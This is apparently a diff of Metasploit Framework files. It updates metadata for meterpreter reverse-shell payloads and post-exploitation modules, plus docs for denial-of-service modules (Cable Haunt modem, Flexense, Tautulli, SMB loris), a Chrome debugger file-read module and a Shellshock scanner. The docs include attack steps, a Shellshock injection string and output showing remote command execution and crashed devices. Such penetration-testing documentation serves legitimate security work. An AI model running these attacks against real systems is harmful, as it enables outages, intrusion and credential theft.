"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
|
||||
@@ -148879,7 +150094,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
|
||||
@@ -148914,7 +150129,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
|
||||
@@ -149051,7 +150266,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_http",
|
||||
@@ -149086,7 +150301,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_https",
|
||||
@@ -149121,7 +150336,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_tcp",
|
||||
@@ -149938,7 +151153,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_http",
|
||||
@@ -149973,7 +151188,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_https",
|
||||
@@ -150008,7 +151223,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_tcp",
|
||||
@@ -150719,7 +151934,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_http",
|
||||
@@ -150754,7 +151969,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_https",
|
||||
@@ -150789,7 +152004,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
|
||||
@@ -151629,7 +152844,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_http",
|
||||
@@ -151664,7 +152879,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_https",
|
||||
@@ -151699,7 +152914,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_tcp",
|
||||
@@ -154901,7 +156116,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-25 16:49:59 +0000",
|
||||
"path": "/modules/payloads/singles/windows/messagebox.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/messagebox",
|
||||
@@ -157632,7 +158847,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-02 15:47:36 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/pingback_reverse_tcp",
|
||||
@@ -169645,7 +170860,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-24 16:02:54 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_domain.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_domain",
|
||||
@@ -169702,7 +170917,7 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate tokens present on a system that are part of the\n domain the target host is part of, will also enumerate users in the local\n Administrators, Users and Backup Operator groups to identify Domain members.\n Processes will be also enumerated and checked if they are running under a\n Domain account, on all checks the accounts, processes and tokens will be\n checked if they are part of the Domain Admin group of the domain the machine\n is a member of.",
|
||||
"description": "This module will enumerate tokens present on a system that are part of the\n domain the target host is part of, will also enumerate users in the local\n Administrators, Users and Backup Operator groups to identify Domain members.\n Processes will be also enumerated and checked if they are running under a\n Domain account, on all checks the accounts, processes and tokens will be\n checked if they are part of the Domain Admin group of the domain the machine\n is a member of.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -169712,7 +170927,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-24 16:02:54 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_domain_tokens.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_domain_tokens",
|
||||
@@ -171340,7 +172555,7 @@
|
||||
],
|
||||
"description": "This module modifies a remote .docx file that will, upon opening, submit\n stored netNTLM credentials to a remote host. Verified to work with Microsoft\n Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
|
||||
"references": [
|
||||
"URL-http://jedicorp.com/?p=534"
|
||||
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -171348,7 +172563,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-24 18:17:06 +0000",
|
||||
"path": "/modules/post/windows/gather/word_unc_injector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/word_unc_injector",
|
||||
@@ -171359,11 +172574,11 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/add_user_domain": {
|
||||
"post_windows/manage/add_user": {
|
||||
"name": "Windows Manage Add User to the Domain and/or to a Domain Group",
|
||||
"fullname": "post/windows/manage/add_user_domain",
|
||||
"fullname": "post/windows/manage/add_user",
|
||||
"aliases": [
|
||||
|
||||
"post/windows/manage/add_user_domain"
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
@@ -171371,7 +172586,7 @@
|
||||
"author": [
|
||||
"Joshua Abraham <jabra@rapid7.com>"
|
||||
],
|
||||
"description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.",
|
||||
"description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -171381,10 +172596,10 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-09-17 16:00:04 +0000",
|
||||
"path": "/modules/post/windows/manage/add_user_domain.rb",
|
||||
"mod_time": "2020-03-24 16:02:54 +0000",
|
||||
"path": "/modules/post/windows/manage/add_user.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/add_user_domain",
|
||||
"ref_name": "windows/manage/add_user",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
@@ -171612,7 +172827,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-21 22:46:30 +0000",
|
||||
"mod_time": "2020-03-20 14:12:01 +0000",
|
||||
"path": "/modules/post/windows/manage/enable_rdp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/enable_rdp",
|
||||
@@ -171857,6 +173072,40 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/install_python": {
|
||||
"name": "Install Python for Windows",
|
||||
"fullname": "post/windows/manage/install_python",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"Michael Long <bluesentinel@protonmail.com>"
|
||||
],
|
||||
"description": "This module places an embeddable Python3 distribution onto the target file system,\n granting pentesters access to a lightweight Python interpreter.\n This module does not require administrative privileges or user interaction with\n installation prompts.",
|
||||
"references": [
|
||||
"URL-https://docs.python.org/3/using/windows.html#windows-embeddable",
|
||||
"URL-https://attack.mitre.org/techniques/T1064/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-03-25 07:30:05 +0000",
|
||||
"path": "/modules/post/windows/manage/install_python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/install_python",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/install_ssh": {
|
||||
"name": "Install OpenSSH for Windows",
|
||||
"fullname": "post/windows/manage/install_ssh",
|
||||
@@ -171950,7 +173199,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-12-17 16:39:18 +0000",
|
||||
"mod_time": "2020-03-10 13:00:12 +0000",
|
||||
"path": "/modules/post/windows/manage/migrate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/migrate",
|
||||
@@ -172715,7 +173964,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-05 16:21:38 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/post/windows/manage/sshkey_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/sshkey_persistence",
|
||||
|
||||
@@ -9,8 +9,6 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/smb/webexec_command```
|
||||
@@ -22,7 +20,7 @@
|
||||
|
||||
## Options
|
||||
|
||||
**FORCE_GUI**
|
||||
### FORCE_GUI
|
||||
|
||||
Uses WMIC to create a GUI
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Sagecom F@st-3890 Cable Modems
|
||||
|
||||
Please note that successful completion of this module will most likely knock out upstream network services, including any remote sessions connected through the cable modem.
|
||||
|
||||
Please refer to [https://cablehaunt.com/](https://cablehaunt.com/) for more information on this vulnerability.
|
||||
|
||||
## Options
|
||||
|
||||
**WS_USERNAME**
|
||||
|
||||
This is the basic auth username for the spectrum analysis web service. This is typicall default credentials such as `admin:password` but may also be something along the lines of `spectrum:spectrum`. This will vary from manufacturer to manufacturer and ISP to ISP.
|
||||
|
||||
**WS_PASSWORD**
|
||||
|
||||
This is the basic auth password for the spectrum analysis web service.
|
||||
|
||||
**TIMEOUT**
|
||||
|
||||
This is the timeout in seconds that the module should wait before making a conclusion on the success of the payload delivery. Typically, the device crashes within about 5 second of the payload being delivered. The default value of `15` should be seen as the lower bound for `TIMEOUT` values.
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
Typically the only address which should be used for this value is `192.168.100.1`. It can be different, but not in a well-secured configuration.
|
||||
|
||||
**RPORT**
|
||||
|
||||
On some devices the Spectrum Analysis web service runs on port `8080`, though Lyrebirds (the original discoverer and PoC author) notes that sometimes it can run on port `6080`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(dos/http/cable_haunt_websocket_dos) > run
|
||||
[*] Running module against 192.168.100.1
|
||||
|
||||
[*] Attempting Connection to 192.168.100.1
|
||||
[*] Opened connection
|
||||
[*] Sending payload
|
||||
[*] Checking Modem Status
|
||||
[*] Cable Modem unreachable
|
||||
[+] Exploit delivered and cable modem unreachable.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,14 +1,14 @@
|
||||
## Description
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
|
||||
## Verification Steps
|
||||
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
|
||||
Following list of softwares are vulnerable to Denial Of Service.
|
||||
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
|
||||
|
||||
|
||||
DiskBoss Enterprise <= v9.0.18
|
||||
Sync Breeze Enterprise <= v10.6.24
|
||||
Disk Pulse Enterprise <= v10.6.24
|
||||
@@ -16,8 +16,7 @@ Disk Savvy Enterprise <= v10.6.24
|
||||
Dup Scout Enterprise <= v10.6.24
|
||||
VX Search Enterprise <= v10.6.24
|
||||
|
||||
|
||||
**Vulnerable Application Link**
|
||||
**Vulnerable Application Link**
|
||||
http://www.diskboss.com/downloads.html
|
||||
http://www.syncbreeze.com/downloads.html
|
||||
http://www.diskpulse.com/downloads.html
|
||||
@@ -25,7 +24,8 @@ http://www.disksavvy.com/downloads.html
|
||||
http://www.dupscout.com/downloads.html
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
### Installation Setup.
|
||||
|
||||
All Flexense applications that are listed above can be installed by following these steps.
|
||||
|
||||
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
|
||||
@@ -51,7 +51,9 @@ Check the box saying: ```Enable web server on port:...```
|
||||
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
|
||||
|
||||
## Scenarios
|
||||
**TESTED AGAINST WINDOWS 7/10**
|
||||
|
||||
### WINDOWS 7/10
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/http/flexense_http_server_dos
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
|
||||
|
||||
@@ -6,7 +6,7 @@ Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
### How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
@@ -15,8 +15,6 @@ npm i marked@0.3.19
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
## Vulnerable Application
|
||||
Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the `/shutdown` URL in applications that do
|
||||
not have a user login area enabled.
|
||||
|
||||
## Scenario
|
||||
|
||||

|
||||
|
||||
## Verification Steps :
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
1. Start ```msfconsole```
|
||||
2. ```use auxiliary/dos/http/tautulli_shutdown_exec```
|
||||
3. ```set RHOSTS XXX.XXX.XXX.XXX```
|
||||
4. ```run```
|
||||
@@ -6,7 +6,7 @@ Any application that uses a vulnerable version of this module and calls the `get
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
### How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
@@ -15,8 +15,6 @@ npm i ua-parser-js@0.7.15
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
|
||||
@@ -10,18 +10,14 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. Target should allocate increasing amounts of memory.
|
||||
2. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `run`
|
||||
5. Target should allocate increasing amounts of memory.
|
||||
|
||||
## Scenarios
|
||||
|
||||
###
|
||||
|
||||
```
|
||||
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
|
||||
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
|
||||
## Vulnerable Application
|
||||
|
||||
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
|
||||
|
||||
## Headless Chrome Sessions
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
||||
|
||||
A vulnerable Headless Chrome session can be started with the following command:
|
||||
|
||||
```
|
||||
@@ -13,7 +13,7 @@ $ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-addre
|
||||
This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Execute `auxiliary/gather/chrome_debugger`
|
||||
3. Execute `set RHOST $REMOTE_ADDRESS`
|
||||
@@ -23,12 +23,17 @@ This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Options
|
||||
|
||||
* FILEPATH - The file path on the remote you wish to retrieve
|
||||
* URL - A URL you wish to fetch the contents of from the remote machine
|
||||
**FILEPATH**
|
||||
|
||||
The file path on the remote you wish to retrieve.
|
||||
|
||||
**URL**
|
||||
|
||||
A URL you wish to fetch the contents of from the remote machine.
|
||||
|
||||
**Note:** One or the other must be set!
|
||||
|
||||
## Example Run
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
|
||||
@@ -40,7 +45,3 @@ This will start a webserver running on port 9222 for all network interfaces.
|
||||
[+] Retrieved resource
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external
|
||||
environment variables. This module targets CGI scripts in the Apache web server by setting
|
||||
the `HTTP_USER_AGENT` environment variable to a malicious function definition.
|
||||
|
||||
### Creating a Vulnerable Environment
|
||||
To setup an Environment that the scanner can be run against, follow the below steps to install a
|
||||
vulnerable OS and Apache version.
|
||||
|
||||
To ensure that you have a vulnerable version of bash:
|
||||
|
||||
1. Install [Ubuntu 12.04.5 LTS](http://cdimage.ubuntu.com/releases/12.04/release/)
|
||||
2. Log into console
|
||||
3. Confirm the host is vulnerable (see next section)
|
||||
4. Also install Apache2 from the apt repository with the following command
|
||||
|
||||
```
|
||||
sudo apt-get install apache2
|
||||
```
|
||||
|
||||
5. Enable cgi-mod in apache with the following command
|
||||
|
||||
```
|
||||
sudo ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/cgi.load
|
||||
```
|
||||
|
||||
6. Restart the apache service with the following command
|
||||
|
||||
```
|
||||
sudo service apache2 reload
|
||||
```
|
||||
|
||||
7. In your favorite text editor create a file (as root) in `/usr/lib/cgi-bin` called `test.sh` with the following contents:
|
||||
|
||||
```
|
||||
#!/bin/bash
|
||||
printf "Content-type: text/html\n\n"
|
||||
printf "Test!\n"
|
||||
```
|
||||
|
||||
8. Set the file to be executable with the following command
|
||||
|
||||
```
|
||||
sudo chmod +x /usr/lib/cgi-bin/test.sh
|
||||
```
|
||||
|
||||
### To check if a host is vulnerable to the attack
|
||||
|
||||
1. Run (on the host)
|
||||
|
||||
```
|
||||
env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
|
||||
```
|
||||
|
||||
2. The shell will return the below text if the environment is vulnerable
|
||||
|
||||
```
|
||||
vulnerable
|
||||
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
|
||||
bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
|
||||
bash: error importing function definition for `BASH_FUNC_x'
|
||||
test
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: run `msfconsole`
|
||||
2. Do: use `auxiliary/scanner/http/apache_mod_cgi_bash_env`
|
||||
3. Do: set `RHOSTS [IP]`
|
||||
4. Do: set `TARGETURI [URI]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**CMD**
|
||||
|
||||
This is the command that will be run by the scanner. The default setting is `/usr/bin/id`.
|
||||
|
||||
**CVE**
|
||||
|
||||
This is the CVE that will be used to exploit the vulnerability.
|
||||
The default setting is `CVE-2014-6271` but valid options are `CVE-2014-6271` or `CVE-2014-6278`.
|
||||
|
||||
**HEADER**
|
||||
|
||||
This is the user agent string that is sent when the module is run. The default setting is `User-Agent`.
|
||||
|
||||
**METHOD**
|
||||
|
||||
This is HTTP method used by the module. The default setting is `GET`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 12.04.5 LTS on Apache 2.2.22
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/apache_mod_cgi_bash_env
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set RHOSTS 172.16.131.134
|
||||
RHOSTS => 172.16.131.134
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/test.sh
|
||||
TARGETURI => /cgi-bin/test.sh
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit
|
||||
|
||||
[+] uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module checks to see whether or not the scanned systems return the HSTS header to enforce HSTS.
|
||||
|
||||
### Install on Ubuntu 18.04 LTS
|
||||
|
||||
sudo apt-get install apache2
|
||||
sudo service apache2 start
|
||||
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.crt
|
||||
sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048
|
||||
|
||||
Once this is done place the following content into `/etc/apache2/conf-available/ssl-params.conf`:
|
||||
|
||||
# from https://cipherli.st/
|
||||
# and https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html
|
||||
|
||||
SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH
|
||||
SSLProtocol All -SSLv2 -SSLv3
|
||||
SSLHonorCipherOrder On
|
||||
# Disable preloading HSTS for now. You can use the commented out header line that includes
|
||||
# the "preload" directive if you understand the implications.
|
||||
#Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains; preload"
|
||||
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains"
|
||||
Header always set X-Frame-Options DENY
|
||||
Header always set X-Content-Type-Options nosniff
|
||||
# Requires Apache >= 2.4
|
||||
SSLCompression off
|
||||
SSLSessionTickets Off
|
||||
SSLUseStapling on
|
||||
SSLStaplingCache "shmcb:logs/stapling-cache(150000)"
|
||||
|
||||
SSLOpenSSLConfCmd DHParameters "/etc/ssl/certs/dhparam.pem"
|
||||
|
||||
Then execute the following:
|
||||
|
||||
sudo cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-available/default-ssl.conf.bak
|
||||
|
||||
Place the following in `/etc/apache2/sites-available/default-ssl.conf`:
|
||||
|
||||
```
|
||||
<IfModule mod_ssl.c>
|
||||
<VirtualHost _default_:443>
|
||||
ServerAdmin webmaster@localhost
|
||||
|
||||
DocumentRoot /var/www/html
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
SSLEngine on
|
||||
SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt
|
||||
SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key
|
||||
|
||||
<FilesMatch "\.(cgi|shtml|phtml|php)$">
|
||||
SSLOptions +StdEnvVars
|
||||
</FilesMatch>
|
||||
<Directory /usr/lib/cgi-bin>
|
||||
SSLOptions +StdEnvVars
|
||||
</Directory>
|
||||
|
||||
BrowserMatch "MSIE [2-6]" \
|
||||
nokeepalive ssl-unclean-shutdown \
|
||||
downgrade-1.0 force-response-1.0
|
||||
</VirtualHost>
|
||||
</IfModule>
|
||||
```
|
||||
|
||||
Place the following in `/etc/apache2/sites-available/000-default.conf`:
|
||||
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin webmaster@localhost
|
||||
DocumentRoot /var/www/html
|
